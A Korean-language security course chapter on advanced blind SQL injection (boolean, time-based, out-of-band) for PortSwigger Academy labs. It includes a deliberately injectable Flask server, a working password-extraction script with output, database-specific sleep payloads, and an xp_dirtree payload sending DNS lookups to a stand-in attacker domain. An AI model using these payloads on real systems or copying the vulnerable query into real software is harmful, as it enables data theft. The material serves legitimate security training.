Step 191. PortSwigger Academy: SQLi 고급 — Blind, time-based, OOB
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 137(Blind SQLi와 sqlmap)에서 참/거짓 오라클과 추출 루프를 직접 만들어 봤다. Burp Suite 기초 사용법을 안다.
- 준비물: 파이썬 3 + Flask(로컬 재현용), (선택) PortSwigger Academy 계정 + Burp Suite.
- ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. PortSwigger Web Security Academy는 공격 연습을 위해 만들어진 합법 학습 플랫폼입니다.
- 주의: 이 챕터의 원리 — 참/거짓 오라클과 시간 오라클 — 는 로컬 서버를 상대로 실측합니다. PortSwigger 랩 화면과 MySQL/PostgreSQL 구문의 출력은 외부 접속 없이는 확인할 수 없어 출력 예시로 표기합니다.
Step 137에서 Blind의 문을 열었습니다 — 화면에 안 나와도 참/거짓으로 빼낸다. 오늘은 그 심화입니다. 참/거짓 문구마저 갈리지 않을 때는 시간을 쓰고(time-based), 응답 채널 자체가 죽어 있으면 서버가 밖으로 요청을 보내게 만듭니다(OOB, Out-of-band). PortSwigger Academy의 SQLi 고급 랩들이 정확히 이 세 상황입니다. 세 돌파법을 로컬에서 몸으로 확인하고, 실제 랩에 적용하는 순서까지 정리합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- Blind SQLi의 세 가지 오라클(참/거짓, 시간, OOB)을 상황별로 구분한다
- 참/거짓 응답 차이로 비밀번호를 한 글자씩 추출하는 스크립트를 완성한다
- time-based 공격의 페이로드 구조(
IF/CASE+SLEEP)와 DB별 차이를 설명한다 - OOB 채널이 필요한 상황과 DNS를 이용한 반출 원리를 설명한다
- PortSwigger SQLi 경로의 랩에 위 원리를 대응시켜 풀이 순서를 세운다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 + Flask(로컬 오라클 서버) + requests(추출기), PortSwigger Academy + Burp Suite(외부, 예시) |
| 오늘의 페이로드 | ' AND '1'='1(참/거짓), ' AND IF(조건, SLEEP(3), 0)--(MySQL, 예시), `’ |
| 필요한 개념 | 오라클의 세 종류, DB별 sleep 함수, 응답 시간 측정, DNS 기반 OOB |
| 오늘의 산출물 | lab191.py(두 종류 오라클 서버) + probe191.py(추출기) + Blind 3종 정리 문서 |
2-1. PortSwigger Web Security Academy
Burp Suite를 만든 PortSwigger가 운영하는 무료 웹 보안 학습 플랫폼입니다. 각 주제마다 이론 설명과, 브라우저에서 바로 공격하는 실습 랩이 있습니다. 랩은 일회용 취약 서버가 내 계정에 뜨는 구조라, 마음껏 공격해도 되는 합법 환경입니다. SQL injection 경로에 오늘 배울 Blind 랩들이 있습니다.
2-2. Blind의 세 가지 오라클 — 상황별 진단표
Step 137에서 배운 것처럼 Blind의 본질은 오라클(내 조건의 참/거짓을 대답해 주는 신호)을 찾는 것입니다. 고급 과정은 "오라클이 점점 숨는" 세 단계로 구성됩니다.
| 상황 | 오라클 | 예시 신호 |
|---|---|---|
| 조건에 따라 화면 문구가 갈림 | 참/거짓 (Boolean) | "Welcome back" 표시 유무 |
| 화면은 항상 같음 | 시간 (time-based) | 응답이 3초 늦는가 |
| 응답 채널 자체가 없음 | OOB | 내 DNS 서버에 쿼리가 도착하는가 |
핵심 감각: 위에서 아래로 갈수록 더 은밀하고 더 느립니다. 그러니 진단 순서도 위에서부터입니다 — 문구 차이부터 찾고, 없으면 시간을 심고, 그것도 안 되면 OOB를 고려합니다.
2-3. time-based — 시간을 거는 페이로드
화면이 참이든 거짓이든 같을 때, 조건이 참일 때만 DB를 멈추게 합니다.
-- MySQL 출력 예시
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)--
-- PostgreSQL 출력 예시 (PortSwigger 랩 다수가 PostgreSQL)
' || (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END)--
DB마다 문법이 다릅니다 — 이것이 이 랩들의 첫 관문입니다. MySQL은 SLEEP(), PostgreSQL은 pg_sleep(), Oracle은 DBMS_LOCK.SLEEP이나 듀얼 테이블 요구, SQL Server는 WAITFOR DELAY. 랩 설명이나 에러 메시지에서 DB 종류부터 확인하는 습관이 절반입니다.
2-4. OOB — 서버가 대신 밖으로 나가게 하기
어떤 환경에서는 응답에 아무 신호도 실을 수 없습니다(쿼리 결과가 완전히 버려지는 경우). 그때는 DB에 외부 네트워크 요청을 시키는 기능을 이용합니다 — 조건이 참일 때만 추출한값.공격자도메인으로 DNS 조회를 일으키는 식입니다. 공격자는 자기 DNS 서버(Burp Collaborator가 이 역할을 해 줍니다)의 로그에서 도착한 쿼리 이름을 읽어 데이터를 회수합니다. 오늘은 개념과 페이로드 구조만 익힙니다.
3. 따라 하기
3-1. 로컬 오라클 서버 — 두 가지 신호를 심다
PortSwigger의 TrackingId 쿠키 랩과 같은 구조를 로컬에 만듭니다. lab191.py (교육용 취약 코드 — 어디에도 배포 금지):
import sqlite3, time
from flask import Flask, request
app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
("admin", "S3cr3t!"),
("guest", "guest123"),
])
CONN.execute("PRAGMA case_sensitive_like = ON")
@app.route("/track")
def track():
"""참이면 'Welcome back', 거짓이면 아무 말 없음 — Boolean 오라클."""
tid = request.args.get("tid", "")
sql = f"SELECT * FROM users WHERE username = '{tid}'"
try:
rows = CONN.execute(sql).fetchall()
except Exception:
rows = []
body = "<p>Welcome back!</p>" if rows else "<p>...</p>"
return "<html><body>" + body + "</body></html>"
@app.route("/time")
def time_oracle():
"""참일 때만 2초 지연 — MySQL의 IF(조건, SLEEP(3), 0)과 같은 효과."""
tid = request.args.get("tid", "")
sql = f"SELECT * FROM users WHERE username = '{tid}'"
try:
rows = CONN.execute(sql).fetchall()
except Exception:
rows = []
if rows:
time.sleep(2)
return "ok"
if __name__ == "__main__":
app.run(port=5191)
/time이 하는 일을 정확히 이해하세요: sqlite에는 SLEEP()이 없으므로, 서버가 조건 평가 결과에 따라 지연을 심는 방식으로 MySQL의 time-based 상황을 재현했습니다. 공격자(클라이언트) 입장에서는 완전히 동일한 게임입니다 — "조건이 참이면 응답이 늦는다".
3-2. 참/거짓 오라클 시험과 추출
probe191.py의 앞부분:
import requests, string
S = requests.Session()
def boolean_oracle(payload):
r = S.get("http://127.0.0.1:5191/track", params={"tid": payload})
return "Welcome back" in r.text
print("참 조건:", boolean_oracle("admin' AND '1'='1"))
print("거짓 조건:", boolean_oracle("admin' AND '1'='2"))
# LIKE 접두어 매칭으로 한 글자씩 — 문자 집합에 %와 _는 절대 넣지 말 것
charset = string.ascii_letters + string.digits + "!#$&*()-+"
known = ""
queries = 0
while True:
found = False
for ch in charset:
queries += 1
if boolean_oracle(f"admin' AND password LIKE '{known}{ch}%"):
known += ch
found = True
break
if not found:
break
print("추출 결과:", known, f"(요청 {queries}회)")
출력 (2026-09-09 실측):
참 조건: True
거짓 조건: False
추출 결과: S3cr3t! (요청 332회)
읽는 법: Step 137과 같은 루프지만, 이번 비밀번호는 S3cr3t!처럼 특수문자와 대소문자가 섞인 실전형입니다. 특수문자가 문자 집합에 들어 있어야(!) 추출이 완결됩니다. PortSwigger의 Blind 랩에서 여러분이 Burp Intruder로 돌리는 것이 정확히 이 루프이고, 이 스크립트는 그 자동화를 파이썬으로 쓴 것입니다.
3-3. 시간 오라클 — 지연을 재서 참을 읽는다
probe191.py의 뒷부분:
import time
def time_oracle(payload):
t0 = time.time()
S.get("http://127.0.0.1:5191/time", params={"tid": payload})
return time.time() - t0
t_true = time_oracle("admin' AND '1'='1")
t_false = time_oracle("admin' AND '1'='2")
print(f"참 조건 응답 시간: {t_true:.2f}초")
print(f"거짓 조건 응답 시간: {t_false:.2f}초")
# 시간 오라클로 첫 글자 추출
for ch in charset:
if time_oracle(f"admin' AND password LIKE '{ch}%") > 1.5:
print("첫 글자:", ch)
break
출력 (2026-09-09 실측):
참 조건 응답 시간: 2.00초
거짓 조건 응답 시간: 0.00초
첫 글자: S
읽는 법: 화면은 참이든 거짓이든 똑같이 ok였지만, 시간이 갈랐습니다 — 2.00초 vs 0.00초. 판정 기준(1.5초)은 "지연 시간의 절반"으로 잡으면 됩니다. 전체 7글자를 이 방식으로 뽑으면 글자당 최악 수십 초 × 문자 수 — 그래서 time-based는 마지막 수단입니다. Boolean이 되는데 굳이 시간을 쓸 이유는 없습니다.
3-4. 실제 랩에 적용하기 (화면 예시)
PortSwigger SQLi 경로의 Blind 랩들은 위 구조 그대로입니다. 로컬에서 익힌 절차를 그대로 옮기면 됩니다.
- TrackingId 쿠키 랩(Boolean): 쿠키 값
TrackingId=xyz' AND '1'='1--vs' AND '1'='2--를 보내 응답의 차이("Welcome back" 유무)를 찾습니다 — 3-2의 1단계와 같습니다. 이어서xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a형태로 한 글자씩, Burp Intruder의 Cluster bomb이나 파이썬 스크립트로 자동화합니다. - time-based 랩: 문구 차이가 없음을 확인한 뒤, 랩의 DB 종류를 확인하고 2-3의 sleep 페이로드를 넣어 응답 시간이 늦는지 봅니다 — 3-3과 같습니다. Burp의 응답 시간은 하단 상태 표시줄이나 Logger에서 확인합니다.
- OOB 랩:
'+UNION+SELECT+EXTRACTVALUE(...)(MySQL) 또는'; EXEC master..xp_dirtree '//공격자도메인/a'--(SQL Server)처럼 DB가 외부 조회를 하게 만들고, Collaborator에 도착한 DNS 쿼리를 확인합니다 (모두 출력 예시 — 구문은 DB 종류에 따라 다릅니다).
3-5. 요청 수와 시간의 회계 — 왜 순서대로 진단하는가
로컬 실측 숫자로 감각을 잡아 봅시다. 7글자 추출에 Boolean은 332회의 요청이었습니다. 같은 것을 time-based(글자 확인당 2초)로 하면 최악 수천 초가 걸립니다. OOB는 한 요청에 여러 글자를 실을 수 있어 빠를 수 있지만, DB가 외부 요청 권한을 갖고 있다는 전제가 필요합니다. 결론: 보이는 오라클부터 쓰고, 없으면 내려간다. 이 순서가 실전 시간을 좌우합니다.
4. 미션과 연습문제
미션 — 세 오라클 완성과 진단 순서 문서
lab191.py와probe191.py를 완성해 Boolean 추출(S3cr3t!)과 시간 오라클 시험(2초 vs 0초)을 재현하고 요청 수·소요 시간을 기록합니다.- 시간 오라클의 판정 기준(1.5초)을 근거와 함께 설명하는 주석을 스크립트에 추가합니다.
- 비밀번호를 특수문자가 빠진 값으로 바꿨을 때 문자 집합이 왜 그대로 쓸 수 있는지(또는 왜 줄일 수 있는지) 실험합니다.
- PortSwigger 계정이 있다면 SQLi 경로의 Blind 랩 2개(Boolean, time-based)를 해결합니다.
- 위키에
Blind3종.md— 세 오라클의 신호·페이로드·필요 조건·속도를 표로 정리합니다.
연습문제
문제 1. Boolean → time-based → OOB 순으로 진단하는 이유를 "비용"의 관점에서 설명해 보세요.
문제 2. time-based 페이로드를 쓰기 전에 반드시 확인해야 할 것은 무엇이며, 그것이 DB마다 다른 예를 두 개 들어 보세요.
문제 3. 실측에서 참 조건은 2.00초, 거짓은 0.00초였습니다. 네트워크가 느린 원격 대상에서는 이 판정이 왜 어려워지는지, 그 완화책은 무엇인지 말해 보세요.
문제 4. OOB 공격이 성립하려면 DB 서버에 어떤 능력이 있어야 하나요? 이 전제가 방어에 주는 힌트를 한 가지 말해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
검증하는 법: ① Boolean 추출 결과가 서버의 값과 정확히 일치하는가 (집필 환경 기준: S3cr3t!, 332회). ② 시간 오라클에서 참/거짓이 지연으로 구분되는가 (2.00초 vs 0.00초). ③ 판정 기준이 "지연 시간의 절반" 같은 근거 있는 값인가. ④ 정리 표에 세 오라클이 신호·조건·속도 순으로 비교돼 있는가.
연습문제 해답
문제 1 해답. Boolean은 요청 한 번에 1비트를 즉시 얻습니다. time-based는 같은 1비트에 지연 시간(수 초)이 붙어 수십~수백 배 느립니다. OOB는 빠를 수 있지만 DB의 외부 통신 권한이라는 큰 전제가 필요합니다. 싸고 확실한 것부터 쓰고, 안 될 때만 비싼 것으로 내려가는 것이 비용 최적화입니다.
문제 2 해답. 대상의 DB 종류입니다. sleep 함수가 DB마다 다르기 때문입니다 — MySQL은 SLEEP(), PostgreSQL은 pg_sleep(). 모르고 섞어 쓰면 문법 오류만 나고 아무 정보도 얻지 못합니다. 랩 설명, 에러 메시지, 버전 문자열 등으로 종류부터 확인합니다.
문제 3 해답. 원격에서는 기본 지연(네트워크 왕복, 서버 부하)이 수백 ms 단위로 흔들려, "느린 거짓"과 "빠른 참"의 경계가 흐려집니다. 완화책: 지연을 더 길게(3~5초) 심고, 같은 조건을 여러 번 측정해 평균으로 판정하고, 참/거짓을 번갈아 보내 기준선을 실시간으로 보정합니다.
문제 4 해답. DB 서버가 외부 네트워크로 요청을 보낼 수 있어야 합니다 (DNS 조회나 HTTP 요청). 방어 힌트: DB 서버의 아웃바운드 통신을 막으면(이그레스 필터링) OOB 반출 경로가 원천 차단됩니다. 방어는 인젝션 자체만이 아니라 반출 경로를 끊는 것으로도 설계할 수 있습니다.
완료 기준 체크리스트
- [ ] Blind의 세 오라클(참/거짓·시간·OOB)과 신호를 각각 말할 수 있다
- [ ] Boolean 추출 스크립트를 완성해 특수문자 포함 비밀번호를 뽑았다
- [ ] 시간 오라클에서 참/거짓을 지연으로 구분하는 실험을 재현했다
- [ ] DB별 sleep 함수가 다름을 예시와 함께 설명할 수 있다
- [ ] OOB의 성립 조건(DB의 외부 요청 능력)을 말할 수 있다
- [ ] 진단 순서(Boolean → time → OOB)를 비용 관점으로 설명할 수 있다
- [ ] 미션: 로컬 재현 기록 +
Blind3종.md정리를 마쳤다
6. 흔한 실수와 해결
벽 1. 추출이 끝나지 않고 요청이 폭주해요
증상 (집필 환경 실측): 비밀번호를 다 찾은 뒤에도 추출이 계속되다가 결국:
OSError: [WinError 10048] 각 소켓 주소(프로토콜/네트워크 주소/포트)는 하나만 사용할 수 있습니다
원인: 문자 집합에 LIKE의 와일드카드 %를 넣었습니다. 집필 환경에서 실제로 !@#$%^&*를 문자 집합에 넣었다가 이 사고를 재현했습니다 — %는 어떤 접두어에도 참이라 루프가 끝나지 않고, 폭주한 요청이 윈도우 임시 포트를 고갈시킵니다.
해결: 문자 집합에서 %와 _를 빼세요. 특수문자가 필요하면 !#$&*()-+처럼 와일드카드가 아닌 것만 넣습니다. 포트가 고갈됐다면 1~2분 기다렸다가(TIME_WAIT 정리 시간) 재실행하세요.
벽 2. 추출 결과의 대소문자가 전부 뭉개져요
증상: S3cr3t!인데 s3cr3t!로 나옵니다.
원인: DB의 LIKE가 대소문자를 구분하지 않습니다 (SQLite 기본값, MySQL 기본 collation 동일).
해결: SQLite는 PRAGMA case_sensitive_like = ON, MySQL은 LIKE BINARY. 이 챕터의 랩 코드에는 이미 PRAGMA가 켜져 있습니다 — 빼고 돌려 보면 현상을 직접 확인할 수 있습니다.
벽 3. time-based인데 참도 거짓도 빨라요
원인 1순위: DB 종류가 달라서 sleep 구문이 문법 오류로 버려지고 있습니다. 2순위: 페이로드의 따옴표/주석 처리가 깨져 쿼리 전체가 오류입니다.
해결: 랩 설명의 DB 종류를 다시 확인하고, 구문이 맞는 DB인지 대조하세요. 오류가 의심되면 조건 없이 sleep만 단독으로 심어("무조건 늦는가")부터 확인하는 것이 정석입니다.
벽 4. PortSwigger 랩에서 Intruder가 생각대로 안 돌아요
증상: 페이로드 위치 마킹(§)이나 그룹핑이 엉킵니다.
원인: 쿠키 값 안의 작은따옴표·공백을 URL 인코딩 없이 다뤘거나, 공격 타입(Sniper vs Cluster bomb) 선택이 잘못됐습니다.
해결: Repeater에서 먼저 한 번 수동으로 참/거짓 차이를 확인한 뒤 Intruder로 보내세요. 수동에서 안 갈리는 것은 자동화해도 안 갈립니다 — 자동화는 검증된 오라클의 반복일 뿐입니다.
벽 5. 추출은 되는데 끝을 모르겠어요
원인: 비밀번호 길이를 모르면 "더 이상 참이 없음"을 확인하는 마지막 한 바퀴가 필요한데, time-based에서는 그 한 바퀴도 비쌉니다.
해결: 먼저 길이를 물으세요 — ' AND LENGTH(password)=7-- 같은 질문을 1부터 올려 가며 참이 되는 지점을 찾습니다. 길이를 알면 루프의 종료 조건이 확정됩니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| Boolean 오라클 | 화면 문구의 차이로 참/거짓을 읽는 방식 — 가장 빠름 |
| time-based 오라클 | SLEEP 계열로 응답 지연을 심어 읽는 방식 — 은밀하지만 느림 |
| OOB (Out-of-band) | DB가 외부로 보낸 DNS/HTTP 요청으로 데이터를 회수 — 응답 채널이 죽었을 때 |
| DB별 sleep | MySQL SLEEP() / PostgreSQL pg_sleep() / SQL Server WAITFOR DELAY |
| 진단 순서 | 보이는 오라클부터 — Boolean → time → OOB |
| Burp Collaborator | OOB용 임시 DNS/HTTP 수신 서버 — 도착 로그로 반출 확인 |
오늘의 명령어와 페이로드
| 명령·페이로드 | 하는 일 |
|---|---|
' AND '1'='1 / ' AND '1'='2 |
Boolean 오라클 시험 |
admin' AND password LIKE 'S% |
한 글자 질문 (접두어 매칭) |
' AND IF(조건, SLEEP(3), 0)-- |
MySQL time-based (출력 예시) |
' || (SELECT CASE WHEN (조건) THEN pg_sleep(3) ELSE pg_sleep(0) END)-- |
PostgreSQL time-based (출력 예시) |
' AND LENGTH(password)=7-- |
길이 먼저 묻기 — 루프 종료 조건 확보 |
PRAGMA case_sensitive_like = ON / LIKE BINARY |
대소문자 구분 강제 |
명령어보다 중요한 감각
Blind 고급 과정의 본질은 새 기술이 아니라 신호 발굴입니다. 문구, 시간, 외부 요청 — 서로 다른 세 신호지만 하는 일은 같습니다: 내 조건의 참/거짓을 1비트로 배달하기. 방어자 입장에서 뒤집어 보면, 응답을 동일하게 만드는 것(신호 지우기)과 DB의 외부 통신 차단(반출 끊기)이 이 공격들의 대응책이라는 것도 보입니다. 공격자가 신호를 찾는 눈이, 방어자에게는 신호를 지우는 눈이 됩니다.
전부 체크되면 Step 191 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.